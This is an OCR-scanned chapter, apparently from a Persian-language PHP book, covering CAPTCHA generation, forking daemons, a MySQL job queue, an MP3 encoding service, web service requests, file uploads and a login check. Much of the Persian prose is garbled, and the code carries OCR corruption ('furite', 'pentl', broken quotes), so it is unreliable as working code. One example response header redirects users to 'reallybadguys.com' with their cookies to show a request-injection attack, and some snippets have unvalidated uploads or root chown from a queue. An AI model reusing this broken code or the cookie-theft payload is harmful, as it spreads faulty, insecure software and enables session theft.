target$ ‘)‘.,\.SA . cJ.:>'-5 ‘st\x.: C,wu‘jp'-‘)b L oalaul C,.Q;- M}- ﬁ-"-:"’ &.3. d‘}.ﬁm b QT cJ\iJ‘)jT
oL

o&@s)‘gf)di)béwéwl{%&w&&ibw‘—C».w‘o.)\?w) |J—9°JMS€)§‘I‘\N&J:A>.UO‘)AS‘

LS ol S gl Ol p b 03 Ll 8 &S Sl

g A VAL¥LYY

b il o e LSl 30 1 e s S e L 1 oS pisies ot i Lo o S on g L
OCR (o iss 3550 55 e (s s ) S o3lital 3550 55 SV insd s O 035 Sl
) s 5l 5 sl (S S Ao 2 S AS @ Dy S 2 L5 515 S G

Ay JsS

Yav



PHP CJA' gﬁyubj

// continues captchaGenerate.php

// helper function for colors
function makeRGBColor( $color, $image ){
$color = str_replace( "#", "", $color );
$red = hexdec( substr( $color, 0, 2 ) );
$green = hexdec( substr( $color, 2, 2 ) );
$blue = hexdec( substr( $color, 4, 2 ) );
$out = imagecolorallocate( $image, $red, $green, $blue );
return( $out );

}

// use any ttf font on your system

// for our example we use the LucidaBright font from the Java distribution
// you may also find TTF fonts in /usr/X11R6/1ib/X11/fonts/TTF

$font = '/usr/local/jdk1.5.0/jre/lib/fonts/LucidaBrightRegular.ttf' );
$fontSize = 18;

$padding = 20;

// geometry -- build a box for word dimensions in selected font and size
$wordBox = imageftbbox( $fontSize, 0, $font, $target );

// x coordinate of UR corner of word
$wordBoxWidth = $wordBox[2];

// y coordinate of UL corner + LL corner of word
$wordBoxHeight = $wordBox[1] + abs( $wordBox[7] );

$containerWidth = $wordBoxWidth + ( $padding * 2 );
$containerHeight = $wordBoxHeight + ( $padding * 2 );

$textX = $padding;
// y coordinate of LL corner of word

$textY = $containerHeight - $padding;

// captchaGenerate.php continues
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// continues captchaGenerate.php

// create the image
$captchalmage = imagecreate( $containerWidth, $containerHeight );
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// colors
$backgroundColor = makeRGBColor( '225588', $captchalmage );
$textColor = makeRGBColor( 'aa7744', $captchalmage );

// add text
imagefttext( $captchalmage, $fontSize, 0, $textX, $textY, $textColor, $font, =
$target );

// rotate
$angle = rand( -20,20 );
$captchalmage = imagerotate( $captchalmage, $angle, $backgroundColor );

// add lines
$line = makeRGBColor( '999999', $captchalmage );
for ( $1 =0; $1i < 4; $i++ ) {
$xStart = rand( 0, $containerWidth );
$yStart = rand( 0, $containerHeight );
$xEnd = rand( 0, $containerWidth );
$yEnd = rand( 0, $containerHeight );
imageline( $captchalmage, $xStart, $yStart, $xEnd, $yEnd, $line );
}

// display the generated image
header( 'Content-Type:image/png' );
imagepng( $captchalmage );
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<h1>Please Login</h1>

<p>

To prevent abuse by automated attempts to login,

we are asking you to type the word you see displayed below.

<em>If you cannot see this image, please contact us for assistance.</em>
</p>

<form action="<?= $ SERVER['SCRIPT NAME'] ?>" method="post">
<img src="captchaGenerate.php"
alt="Type in the letters you see here." />
<br />
<input type="text" name="captcha" size="22" /><br />
<input type="submit" value="Login" />
</form>
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<?php

session start();

if ( lempty( $ POST['captcha'] ) ) {

if ( lisset( $ SESSION['target'] ) ) {

print '<hi1>Sorry, there was an error in logging in.
Please contact us for assistance.</h1>’;

4
~ 109

elseif ( $ SESSION[ 'target'] === $ POST['captcha'] ) {
print '<h1>You have successfully logged in!</h1>";
unset( $ SESSION['target'] );

}

else {
print '<hi>Incorrect! You are not logged in.</h1>";

}
}
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#!/usx/local/bin/php
<?php
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// functions
// dlog function, writes a message to a log file with current PID
function dlog( $message ) {
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global $log, // location of log file
$dpid, // parent PID
$cpid; // child PID

if ( lempty( $cpid ) ) {
// current process is a child

$cpid = " $cpid”;
$prefix = $cpid;

}

else {

// current process is a parent
$prefix = $dpid;
}

// get file handle to append to log file
$cfp = fopen( $log, 'a' );

// wait for an exclusive lock on the log
flock( $cfp, LOCK EX );

// write the message
furite( $cfp, "$prefix $message\r\n" );

// release the lock
flock( $cfp, LOCK_UN );
O
// close the log file handle
fclose( $cfp );

// end of dlog function
}

// sig_handler function, catches and handles signals
function sig handler( $signo ) {

global $child, $children;

dlog( "Received signal $signo." );
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switch ($signo) {
case SIGTERM:
// handle shutdown tasks
if ( !$child ) {
// kill all child processes
foreach( $children AS $cpid ) {
posix kill( $cpid, SIGTERM );
pcntl wait( $status );
1
dlog( "Terminating. ".print r( $children, 1) );
}
else {
dlog( "Terminating." );
}
exit();
break;

case SIGHUP:
// handle restart requests
if ( !$child ) {
// kill all child processes
foreach( $children AS $cpid ) {
posix_kill( $cpid, SIGTERM );
pentl wait( $status );
}

nu o
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// now launch a new simpleDaemonDemo.php
dlog( "Restarting. " . print r( $children, 1) );
shell exec( 'php simpleDaemon.php > /dev/null 2>81 &' );
}
else {
dlog( "Caught restart, waiting for TERM." );
}
exit();
break;

case SIGCHLD:
// child status change - use pcntl wait() to clean up zombie
$cpid = pentl wait( $status );
dlog( "Caught SIGCHLD from $cpid, status was $status.” );
break;

default:
// handle all other signals
dlog( " ... which is an unhandled signal." );

~ \9)
// end of sig handler function
}

// schedule signal checking
declare( ticks =1 );

// set up signal handlers

pcntl signal( SIGTERM, "sig handler" );
pcntl signal( SIGHUP, "sig handler" );
pentl signal( SIGCHLD, "sig handler" );

// open a logfile resource
$log = 'daemon.log’;
$fp = fopen( $log, 'w' );

// simpleDaemonDemo.php continues
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// continues simpleDaemonDemo.php
print "Forking into the background now...\r\n";

// create the daemon
$fork = pentl fork();

// the daemon now exists alongside the script; for it, $fork =
if ( $fork === -1 ) {
exit( "Could not fork.\r\n" );
}
elseif ( $fork ) {
/] the script exits
exit( "Started background daemon with PID $fork.\r\n" );

)
)
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// the daemon gets its own PID
$dpid = posix getpid();

// the daemon detaches from the controlling terminal
if ( !posix_setsid() ) {
dlog( "Daemon could not detach." );
exit();
}
sleep( 1 );

// prove that file descriptor is inherited by the daemon

furite( $fp, "File descriptor was inherited from original process.\r\n" );
fclose( $fp );

dlog( "I am up and running as a daemon." );

// intialize
$children = array();

$child = FALSE;

// simpleDaemonDemo.php continues
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/1 continues simpleDaemonDemo.php

// loop forever until SIGTERM is received
while ( TRUE ) {

/1 sleep for 5 seconds each loop

sleep( 5 );

if ( !$child ) {

/1 kill oldest child

if ( count( $children ) > 2 ) {
$killpid = array shift( $children );
dlog( "Killing $killpid now" );
posix kill( $killpid, SIGTERM );
sleep( 1 );

}
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// create a child process
$fork = pcntl fork();
// child process now exists
if ( $fork === -1 ) {

dlog( “Could not fork." );

}
elseif ( $fork ) {

$children[] = $fork;
sleep( 2 );
dlog( "Added $fork to children." );

}

else { // $fork = 0; new child process executes here
$child = TRUE;
sleep( 1 );
$cpid = posix getpid();
dlog( "Starting up as child." );

// set nice value to 20 for lowest priority
proc_nice( 20 );
)
h

else {
// existing children sleep for some random time
$randomDelay = rand( 300, 3000 ) * 1000;
usleep( $randombelay );
dlog( "Checking in after $randomDelay microseconds.” );

}

// end while loop
'
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Forking into the background now...
Started background daemon with PID 29617.
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File descriptor was inherited from original process.
29617 I am up and running as a daemon.
29618 Starting up as child.
29617 Added 29618 to children.
29619 Starting up as child.
29618 Checking in after 2484000 microseconds.
29617 Added 29619 to children.
29619 Checking in after 1085000 microseconds.
29620 Starting up as child.
29617 Added 29620 to children.
29618 Checking in after 2850000 microseconds.
29619 Checking in after 958000 microseconds.
29617 Killing 29618 now
29618 Received signal 15.
29618 Terminating.
29617 Received signal 20.
29617 Caught SIGCHLD from 29618, status was 0.

ST

&

Q

>
5

vy



lshedetlisl g satSesn il

29617 Received signal 15.
29635 Received signal 15.
29635 Terminating.
29636 Received signal 15.
29636 Terminating.
29639 Received signal 15.
29639 Terminating.
29617 Terminating. Array
(
[0] => 29635
[1] => 29636
[2] => 29639
)
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CREATE TABLE jobs (

id INT UNSIGNED AUTO INCREMENT PRIMARY KEY, t%?
request TEXT, )
created DATETIME, )

started DATETIME,

finished DATETIME,

data TEXT,

result TEXT,

status VARCHAR(255),

INDEX ix status ( status )

)5
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<?php

class jobManager {

public $id; // the record id in the jobs db

public $request; // request to processor api

public $created; // mysql datetime of insertion in the queue
public $started; // mysql datetime of start of processing

public $finished; // mysgl datetime of end of processing

public $data; // optional data to be used in carrying out request
public $result; // response to request

public $status; // status of the job: new, running, or done

private $db; // database handle - an open mysql/mysqli database
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// constructor assigns db handle
public function construct( $db ) {
if ( get class( $db ) != 'mysqli' ) {
throw new Exception( "\$db passed to constructor
is not a mysqli object." );
}
$this->db = $db;
}

// insert() inserts the job into the queue
public function insert() {
if ( empty( $this->request ) ) {
throw new Exception( "Will not insert job with empty request.” );
}
$query = "INSERT INTO jobs SET id='",
request="{$this->esc($this->request)}’,
created=now(),
data="{$this->esc($this->data)}’',

status="new"' ";
=N
$result = $this->db->query( $query );

if ( !$result ) {
throw new Exception( "Unable to insert job using query $query
-- " . $this->db->error() );

}

// get id of inserted record
$this->id = $this->db->insert id;

// load job back from database (to get created date)
$this->load();

return TRUE;
}

// jobManagerClass.php continues
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// continues jobManagerClass.php

// load() method loads the job with $this->id from the database
public function load() {
// id must be numeric
if ( !is_numeric( $this->id ) ) {
throw new Exception( "Job ID must be a number." );

}

// build and perform SELECT query
$query = "SELECT * FROM jobs WHERE id='$this->id' ";
$result = $this->db->query( $query );

if ( !$result ) throw new Exception( "Job #$this->id does not exist." );

// convert row array into job object

$row = $result->fetch assoc();

foreach( $row AS $key=>$value ) {
$this->{$key} = $value;

}

return TRUE;
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// next() method finds and loads the next unstarted job
public function next() {
// build and perform SELECT query
$query = "SELECT * FROM jobs WHERE status='new'
ORDER BY created ASC LIMIT 1";
$result = $this->db->query( $query );

if ( !$result ) {
throw new Exception( "Error on query $query
-- " . $this->db->error() );

}

// fetch row, return FALSE if no rows found
$row = $result->fetch assoc();
if ( empty( $row ) ) return FALSE;

// load row into job object

foreach( $row AS $key=>$value ) {
$this->{skey} = $value;

}

v
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return $this->id;

}

// start() method marks a job as being in progress
public function start() {
// id must be numeric
if ( !is_numeric( $this->id ) ) {
throw new Exception( "Job ID must be a number." );

}

// build and perform UPDATE query

$query = "UPDATE jobs SET started=now(), status='running'
WHERE id='$this->id" ";

$result = $this->db->query( $query );

if ( !$result ) {

throw new Exception( "Unable to update job using query $query

-- " . $this->db->error() );
}

// load record back from db to get updated fields
$this->load();

return TRUE;

}
/) T
// finish() method marks a job as completed
public function finish( $status='done' ) {
// id must be numeric
if ( !is_numeric( $this->id ) )
throw new Exception( "Job ID must be a number." );

// build and perform UPDATE query
v $query = "UPDATE jobs
| SET finished=now(),
A result="{$this->esc($this->result)}’,
status="{$this->esc($status)}'
WHERE id='$this->id' ";
$result = $this->db->query( $query );

if ( !$result ) {

throw new Exception( "Unable to update job using query $query

-- " . $this->db->error() );

Yy



byt | s o p ke (5o ptms GG pd sl CiiS 5 Sl dU ileiyl 035 53 0y slie Slads ‘,;53 35

lshedetlisl g satSesn il

// load record back from db to get updated fields
$this->load();

return TRUE;
}

// esc() utility escapes a string for use in a database query
public function esc( $string ) {
return $this->db->real escape string( $string );

}

// end of jobManager class

}
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<?php

// log file
$log = 'mp3Processor.log’;

// limit on number of concurrent processes
$concurrencylimit = 2;

// dropFolder
$dropFolder = '/tmp/mp3drop’;

// audio encoding command
$lame = '/opt/local/bin/lame --quiet ';

// get process ID
$pid = posix getpid();

// check for .wav files and .job files
$dir = dir( $dropFolder );

$wavs = array();

$jobs = array();
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/! check drop folder for lockfiles (with .job extension) and .wav files
while( $entry = $dir->read() ) {
$path = $dropFolder . '/' . $entry;
if ( is dir( $path ) ) continue;
$pathinfo = pathinfo( $path );
if ( $pathinfo[ 'extension'] ) === 'job' ) {
$filename = $pathinfo[ 'basename’];
$jobs[ $filename ] = $dropFolder . '/' . $filename;
continue;

}

if ( $pathinfo[ 'extension'] === 'wav' ) {
$wavs[] = $path;
}
}

$dir->close();
unset( $dir );

// mp3Processor.php continues

1, JOb. s Wav. 550 sla LG 5 e b SOy 3550

Q

Yo



et PHP ool s, @950

// continues mp3Processor.php

if ( empty( $wavs ) ) {
processorLog( "No wavs found." );

}

else {
// for each .wav found, check to see if it's being handled
// or if there are too many jobs already active
foreach( $wavs AS $path ) {
if ( lin_array( $path, $jobs ) & count( $jobs ) < $concurrencylLimit ) {
// ready to encode
processorLog( "Converting $path to mp3." );

// create a lockfile

$pathinfo = pathinfo( $path );

$lockfile = $pathinfo[ 'dirname'] . '/' . $pathinfo[ 'basename'] . '.job'.;
touch( $lockfile );

// run at lowest priority
proc nice( 20 );

// escape paths that are being passed to shell
$fromPath = escapeshellarg( $path );

$toPath = escapeshellarg( $path . '.mp3' );
(A

// carry out the encoding
$result = shell exec( "$lame $fromPath $toPath" );
if ( $result ) {
processorLog( "Conversion of $path resulted in errors: $result" );

}
else {
processorLog( "Conversion of $path to MP3 is complete." );

}

exit();
i // end if ready to encode

-}

// end foreach $wavs as $path

}

// end if $wavs

}
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// 1ib

function processorLog( $message ) {
global $log, $pid;
$prefix = date('r') . " [$pid]";
$fp = fopen( $log, 'a' );
furite( $fp, "$prefix $message\r\n" );
fclose( $fp );
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<?php

// schedule signals
declare( ticks =1 );

// set up signal handlers
pcntl signal( SIGTERM, "sig handler" );
pcntl signal( SIGHUP, "sig handler" );

// log file
$log = 'changeOwnershipDaemon.log';

// make sure we're root
if ( posix getuid() !'=0) {
exit( "changeOwnershipDaemon must be run as root.\r\n" );

}

// 1imit paths

$allowedPaths = array( '/tmp', '/home/csnyder/uploads' );
N2 N

// db config

$dbuser = 'username’;

$dbpass = 'password’;
$dbhost = 'localhost’;
$dbname = 'pps';

// changeOwnershipDaemon.php continues
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// continues changeOwnershipDaemon.php

// import job queue manager class
include_once( 'jobManagerClass.php' );

// create daemon

$fork = pentl_fork();

if ( $fork === -1 ) {
exit("Could not fork.\r\n");

}
elseif ( $fork ) {

// script exits, leaving daemon running
exit("Started background permissionsDaemon with PID $fork.\r\n");

}

// daemon gets its own process ID
$dpid = posix_getpid();

// daemon detaches from the controlling terminal
if ( !posix setsid() ) {

dlog( "Daemon could not detach." );

exit();
}

dlog( "Daemon running." );

// loop forever watching for queued jobs
while ( TRUE ) {
/! sleep for 5 seconds each loop
sleep( 5 );

// changeOwnershipDaemon.php continues
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// continues changeOwnexrshipDaemon.php

// db connection
$db = new mysqli ( $dbhost, $dbuser, $dbpass, $dbname );

// create a new job queue manager object
try {
$job = new jobManager( $db );
}
catch ( Exception $e ) {
exception handlexr( $e );

}

// fetch next outstanding job in queue
while ( $job->next() ) {
try {
$job->start();
}
catch ( Exception $e ) {
exception_handler( $e );
}
NOY?
/! parse request
list( $command, $owner, $path ) = explode( ' ', $job->request );
dlog( "Starting job $job-»>id: $command $owner $path ... " );

/! check for complete changelwnership request

if ( $command != 'changewnership' || empty( $owner ) || empty( $path ) ) {
$job->result = "Invalid command”;
$job-»status = "error’;

}

/! check for violations in allowed path
$allowed = FALSE;
foreach( $allowedPaths AS $pathpart ) {
{/ look for match against allowed paths
if ( substr( $path, 0, strlen( $pathpart ) ) == $pathpart ) {

N\ $allowed = TRUE;
Q; break;
X ]
¥
// check also for double-dots in path
if ( !$allowed || strpos( $path, '.." ) ) {

$job->result = "Invalid path";
$job-»status = 'error’;

¥
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// if no errors, then carry out request

if ( $job->status != ‘error' ) {
$success = @chown( $path, $owner );
if ( !$success ) {

$job->result = "Could not chown( $path, $owner )";

$job->status = 'exror’;
¥
else {
$job->result = "OK";
$job->status = 'done’;
s
s
// save job
try {
$job->finish( $job->status );
¥

catch ( Exception $e ) {
exception_handler( $e );

¥
dlog( "Finished job %$job->id: $job->status” );

w2
// close db connection
$db->close();

// unset db and job
unset( $db, $job );

// log every hour
if ( lisset( $lastlog ) || ( date( 'i' ) == 'o00'
&& date( 'h' ) != $lastlog ) ) {
dlog( date( 'r' ) );
$lastlog = date( 'h' );
'

// end while( TRUE ) loop

\// changeOwnershipDaemon.php continues
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// continues changeOwnershipDaemon.php

// 1ib
function dlog( $message ) {
global $log, $dpid;
$fp = fopen( $log, 'a' );
furite( $fp, "$dpid $message\r\n" );
fclose( $fp );
}

function exception handler( $e ) {
global $dpid;

// log exception
dlog( 'Caught exception:

. $e->getMessage() );

// send TERM signal to self
posix kill( $dpid, SIGTERM );
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function sig handler( $signo ) {
global $child, $children;
dlog( "Received signal $signo." );

switch ($signo) {
case SIGTERM:
// handle shutdown tasks
dlog( "Terminating." );
exit();
break;

case SIGHUP:
// handle restart tasks
dlog( "Restarting." );
shell exec( 'php permissionsDaemon.php > /dev/null 2>&1 &' );
exit();
break;

default:
// handle any other signals
dlog( "Unhandled signal." );

}
}

>
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<?php

// config
$newowner = 'csnyder’;

// db connection

$dbuser = 'username’;
$dbpass = 'password’;
$dbhost = 'localhost’;
$dbname = 'pps’';

$db = new mysqli ( $dbhost, $dbuser, $dbpass, $dbname );

// for demo purposes, create a new temp file
$path = tempnam( '/tmp', 'changeOwnershipDemo' );
file put contents( $path, rand( 0, 86400 ) );

// create a new job object
include once( 'jobManagerClass.php' );

try {
$newjob = new jobManager( $db );

“,

—_ \N
.// set request to change ownership of file
$newjob->request = "changeOwnership $newowner $path”;

// add job to queue
$newjob->insert();

}

catch ( Exception $e ) {
exit( 'jobManager Error:

}

. $e->getMessage() );

// dump new job record for demo purposes

exit( "<pre>" . print r( $newjob, 1) );

7>
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18766 Daemon running.

18766 Thu, 07 Jul 2005 10:51:52 -0400

18766 Starting job 15: changeOwnership csnyder /tmp/changeOwnershipDemoZbblYA ...
18766 Finished job 15: done

18766 Starting job 16: changeOwnership csnyder /tmp/changeOwnershipDemofwQ71G ...
18766 Finished job 16: done

18766 Starting job 17: changeOwnership csnyder /tmp/changeOwnershipDemongQsxx ...
18766 Finished job 17: done

b s sl S oS ol (Glaglo s ool Jl= 5 s ey B 4 o0l @ S Co Sl ]
ol Ll g S ate oS a4 48 sl 1) et Sla0sals oS 3o ST el Coanl 1l
Slaedls 5 255 55 Sutal el Ceaw 4 1) (S04 e M\s§@> o5l ol gaiby S
Sal s bl )l B Yl iyl i 45 s g5 UL 305 doal it e 55 0LlS

/ ° Dl

ol LSJ““W ;Ag.\b} ;ﬁti")

i ol 3 calby &K
st el Lk o sl .Eﬁd‘bﬁw A3 (pl e S w0551 aled OS2l
Al (A5l JooSS Els Sl 5 AS e bl & (Gladby s 8 L0y ol e
S el 1D ‘J)L 43> A 5l eS 0Ad Lzl 5 o VL 4 0T Ol S Laslbs g
Lol sl W 300 5 b Ooped pamie Ly w2l phas 5 Sl a3 B ol

‘;b\u’%bbﬂjgﬂﬁng Gl aS Sl Bl o Ssls 5 5l e o (g4l g

A2l w2l Ul IS 1S G SISl el ) o bl 3 pd IS 5l b i O

a3 el (S gw\@ﬁ(\ﬁu)sgu);m@u& W0 g o | J el S

WJ'W;QLEJ dgli:)c,.@e-amleJD ;i.ljjjwj\:d}gywémuﬁésj\::ﬁj Jle=| o

Yts

VY, 0A



\dadedz il g satS e failw

| g Cu e ‘_;\.AW ‘5\.&‘5,1.3.;%] iS5 Sl adl  gilecpml o) 55 0 lde Sleds

Al paiie oS el (Vb Ol Do 0T Sl (8350 0T B a8 i3 S5 o8 W2SG U L,
Gk y Sl 2 e ol S Al anils Coally pl B8 B s 4 L cl (Ses iomens
355 gl bl 3 WOl )8 a8 & i sl o ST LIS e 3 bl K51 a8 an

Bl s 53 S o o
lwﬁ"u.fm%15&1454345%.%“)@&&Wf)i%bw‘&w;wufm&‘f
S5 G dms bl S w4y Ly O calsl 55 5 el y3lo i 53 39 g0 said ‘%L{M

L;ﬁ"\""’ff]““w“’“w‘ui‘”‘f‘d‘ JSQJW‘Q\)‘W}J Cl&wb))

w )A...a‘ “5 DL

quuswfmujy&u&ﬂts&srsuprJKuyP B3 Jle gaslsl s
G e glls MP3 il o8 s ol 4 .45 s Jle )l MP3 Jg&\a\};;gomﬁ;\q*@},w
3y50 0les a5 e LB KL b aS e wm\wp% L gl (il s CPU (VL
2 UIgid() b 5l eslinad L33 4 e ID S :\, ool Oass LB 5,8 E sl

A Ol S5 & S Al e JU) Glamio 4 BSPAEAS Cgr b Loyl 5l Ay 555 0 PHP

a5 A e (Cio yo 35 g sla B Lo Lol ) 1y 6 Ll s Job 0 eslel g
S5 & Sl (s (pizman) LS ekl
35 4 pamio ID slls URD Q0 JUl sl sl Sy s o 558 o3l bl
LS o anxl e s S - JWM Rl S &S By Al e 355 005 3 e )3 el el
%\)b\iu;ﬂb"wtem.&nw&ugisxﬁuuuﬁ&ubww,ﬁ%;ﬁ\

@.xs& S sasaly BB oLE el b o 85 0les b 5 a8 e wll (g5 4 35kl

O B sl s Cgr LIPS e (g9 4S s e URI & ¢

w‘c.hld‘)\émdfjgbb&)‘JL&&.&%\JJ

YV



PHP CJA' gw.g.yeubj

<?php

// dropFolder should be outside document root
$dropFolder = '/tmp/mp3drop’;

// use SCRIPT NAME as $uri in forxms and links
$uri = $ SERVER[ 'SCRIPT NAME' ];

// set header and footer
$header = '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.0rg/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.0rg/1999/xnhtml" xml:lang="en">
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>mp3Interface.php</title>
</head>
<body>"';
$footer = '</body></html>';

// mp3Interface.php continues

HTML skl czo G slol e 5 s UG i sl 31T il b oy Sl
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// continues mp3Interface.php

// application logic
if ( empty( $ GET['ticket'] ) ) {
if ( empty( $ POST['encode'] ) ) {
// show form
print $header;
2>
<h3>Encode Audio Using HTTP POST</h3>
<form action="$uri' method="post' enctype="multipart/form-data' >
<input type='file' name='input' size='40' />
<input type='submit' value="Encode' />
</form>
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<p>&nbsp; </p>

<h3>0R Pick Up An Encoded File</h3>

<form action="%uri' method="get">
ticket: <input type="text' name="ticket' size='36" />
<input type='submit' value='Pickup' />

</form

<?php

print $footer;

}

// mp3Interface.php continues
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// continues mp3Interface.php
else { // $ POST['encode'] is not empty
// process uploaded audio file
$upload = $ FILES['input']['tmp name'];

// check that input file is in correct format
// nb: this trusts the browser to identify audio files correctly
/! a server-side test could be used instead
if ( $_FILES['input']['type'] != 'audio/x-wav' ) {
exit( 'Error: wrong Content-Type, must be audio/x-wav.' );

}

// generate ticket
$ticket = unigid( "mp3-" );

// build dropPath
$dropPath = "$dropFolder/$ticket.wav";

// get file, save in dropFolder
if ( !move uploaded file( $upload, $dropPath ) ) {
exit( "Error: unable to place file in queue." );

}

// set permissions...
chmod( $dropPath, 0644 );
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// show initial wait message
print $header;
print "<h1>Your MP3 will be ready soon!</h1>
<p>Your ticket number is $ticket.</p>
<p><a href="$uri?ticket=$ticket'>Redeem it.</a></p>";
print $footer;
exit();
} // end POST['encode'] is not empty
} /7 end if ( empty( $ GET['ticket'] ) )

// mp3Interface.php continues
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// continues mp3Interface.php

else { // $ CET['ticket'] is not empty
// attempt to redeem ticket
$ticket = $ GET['ticket'];

// sanitize filename

if ( strpos( $ticket, '.' ) !== FALSE ) {
exit( "Invalid ticket." );

}

// encoded file is:
$encoded = "$dropFolder/$ticket.wav.mp3";
$original = "$dropFolder/$ticket.wav";

// check for invalid ticket, waiting ticket, or ready mp3
if ( !is_readable( $original ) ) {
print $header;
print "<h1>Ticket Not Found</h1>
<p>There are no files in the queue matching that ticket.
<a href="$uri'>Encode a new file.</a>
</p>";
print $footer;
exit();
}

o
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elseif ( !is readable( $encoded ) ) {
print $header;
print "<hi>Your MP3 is not ready yet.</h1>
<p>Encoding may take up to 10 minutes.
<a href="$uri?ticket=$ticket'>Try again.</a>
</p>";
print $footer;
exit();
}
else {
// read the file and send it
$mp3 = file get contents( $encoded );
header( 'Content-Type: audio/mp3' );
header( 'Content-Length: ' . strlen( $mp3 ) );
print $mp3;

// remove original (which we own)
$original = "$dropFolder/$ticket.wav";
unlink( $original );

// done
exit();

}
} // end $ GET['ticket'] is not empty
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<?php

// setup

$serverDomain = 'localhost’;

$serverPort = 80;

$HTTPrequest = "GET /info.php HTTP/1.0\r\n";
$HTTPrequest .= "Host: $serverDomain\r\n";
$HTTPrequest .= "Connection: close\r\n\r\n";

// allow 1.5 seconds for connection
$connectionTimeout = 1.5;

// allow remote server 2 seconds to complete response
$responseTimeout = 2;

// open socket stream to send request
$conn = fsockopen( $serverDomain, $serverPort, $errno,
$errstr, $connectionTimeout );
if ( !$conn ) {
throw new Exception ( "Unable to connect to web services server: $errstr" );
¥
else {
// set response timeout
stream set blocking( $conn, TRUE );
stream set timeout( $conn, $responseTimeout );

}

¥o



“ 1 ‘. . . - . . s - > oy ‘:j'x“
J;::-.;:::::::,L |‘5§;\-.c C.',gﬁ-\.c ‘_;th 6‘“‘5}.’-"‘-}‘:".’?’"‘ rRLY K JL«AJL& ‘5LAJ\AJ§: ‘5JL.00.0‘ 0y )d eJ‘gL.\.A Sleds “f"“’f‘

// make request
fwrite( $conn, $HTTPrequest );

// get response
$response = stream get contents( $conn );

// did it time out?
$meta = stream get meta data( $conn );
if ( $meta['timed out'] ) {
throw new Exception ( "Response from web services server timed out." );

}

// close socket
fclose( $conn );
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<?php

// setup

$serverDomain = 'localhost’;

$serverPort = 80;

$HTTPRequest = "GET /latest.rss HTTP/1.0\r\n";
$HTTPRequest .= "Host: $serverDomain\r\n";
$HTTPRequest .= "Connection: close\r\n\r\n";

// cache settings in seconds
$cacheDir = '/tmp/wscache';
$cacheMaxAge = 60;

// make sure we can use cache
if ( !is_dir( $cachedir ) ) {
if ( !mkdir( $cacheDir ) ) {

throw new Exception( "Could not create cache directory.

}

}
if ( !is_writable( $cacheDir ) ) {
throw new Exception( "Cache directory not writeable" );

}

// use hash of request as name of cache file
$hash = md5( $HTTPRequest );
$cacheFile = $cacheDir . '/' . $hash;

// cache file expires after 60 seconds
$cacheExpiration = time() - $cacheMaxAge;
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// if cache file exists and is fresher than expiration time, use it
if ( is_readable( $cachefFile ) &&
filemtime( $cacheFile ) > $cacheExpiration ) {
$response = file get contents( $cachefile );
// ... display the feed
h
else {
// ... request new feed from remote server
// save in cache
file put contents( $cachefFile, $response );
'
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<?php

// configure
if ( lempty( $ POST['productid'] ) ) {
// for demonstration purposes, sanitizing is omitted here
$productid = $ POST['productid'];
$serviceHost = "products.example.com”
$serviceURI = "/lookup.php?id=$productid”;

// build the HTTP request

$request = "HTTP/1.0 CET $serviceURI\r\n";
$request .= "Host: $serviceHost\r\n
$request .= "Connection: Close\r\n\r\n";

// make a network connection

$fp = fsockopen( $serviceHost, 80 );
// set it to blocking mode
stream set blocking( $fp, 1 );

// send the request
furite( $fp, $request );

// get response
$response = stream get contents( $fp );

}
2
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$productid = (int) $ POST['productid'];
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HTTP/1.x 302 Found

Date: Sun, 12 Jun 2005 23:07:46 GMT

Server: Apache/2.0.54 (Unix) PHP/5.0.4

X-Powered-By: PHP/5.0.4

Location: /lookup.php?id=123

Location: http://reallybadguys.com/gotcha.php?cookie=$ COOKIE
Content-Length: 0

Keep-Alive: timeout=15, max=100

Connection: Keep-Alive

Content-Type: text/html; charset=I50-8859-1
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$productid = (int) $_EOST['productid'];
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$productid = urlencode( $ POST['productid’'] );
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<form enctype="multipart/form-data" action="uploader.php"
method="POST">

<input type= "hidden" name="MAX_FILE_SIZE" value="100000" />
Choose a file to upload: <input name="uploadefile" type= "file" />

<input type= "submit" value="Upload File" />
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</form>

PHP code (uploader.php):

<?php

$target_path = "uploads/*;

$target path = $target path . basename( $ FILES[‘uploadedfile’][ name’]);

if(move_uploaded_file($_F1LES[‘uploadedfile’][* tmp name’], $target path))
{
echo "The file". basename( $§ FILES[‘uploadedfile’][‘name’]). n%

" has been uploaded";

}else { éf
echo "There was an error uploading the file, please in!"; }
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$ FILES[ uploa@%e ][‘name’]: The original name of the file on the client
machine

$ FILES[‘L@)adedﬁle’][‘ type’]: The mime type of the file
L Sjaploadedﬁle [‘size’]: The size of the file in bytes

%@LES ‘uploadedfile’][‘ttmp name’]: The temporary filename in which the
ded file was stored on the server.
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<body>
" fCrIr[l ” - " fcml " 3 "pcst" "n
passwor
</body>
(—

Aoy 03 S Ol .y ss 4>l Welcome to system

.Jywub@ﬁ.hq‘}zuj “b).)j.&tfa\f‘fAdminW)}a&Jﬁ)wjéth)‘w

o

<?

$pass = strtolower(md5(s FOSTI['pass'])):
$spass = "delb2aTbzIT850243dbT1cdabddedal3
if($pass == s$spass){
\ $admin= 1;
‘:\v }

\‘@5 if ($admin==1)|

@ {
echo "Welc to the system”;
}else{
echc "En
}

7>

ct
b
4

YAY



c.s.bo..n“;f-;'-.'ﬁlu PHP 2° 0"' Lf”‘l}s MUJ’: ‘\;&J:l\,{,j ’

(e tiisl g st ail

(s e S a ) 35 Al eoelxdl jae 5o, O35 L - L s sl 4 laus ol sl eslanad L
10gin php =i s w0 1) (g olis Lo suize anldie s POSE 2, 5l eslizal L US ol s gl
LS o L

password:

%@.ji' \0.Y

lac oo oens ag J\ i JQJSJ b u)’\.«:— 44)5 u.a\ ng.l;- Jﬂf ‘-;?L@Jd}‘)‘)“-;.!
23l (amio O 53 s 5l eslital &oyso 53 ) i G dxi

LS Laea (g ,0le
)\wjxﬁ&fbj‘w(wu\)Juw)‘o.}b&.ﬂ\g:) S W&i)‘g"ijkjﬂ:’@

° & SESSiOﬂ- start CU )‘ J\.LL’ L laclis )‘ oslarul Cﬁﬁe\,ﬁb‘j‘)‘_f O )‘ - ;_)‘5]4 Oddaias

S

n O

<?
session_start():

b=
<html>
<bocdy>

password:

</body>
</html>
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<?

spass = strteolower(mdS5($_FOST['pass'l)):
$spass = "delb2a7bafT7E850243db71cdakbdd4e5a39";
if{spass == S$spass){

_SESSICN['admin'] = 17

echc "Welcomes to the system";

echc "Enter Correct Password"™:

: g
>
ﬁ S VO

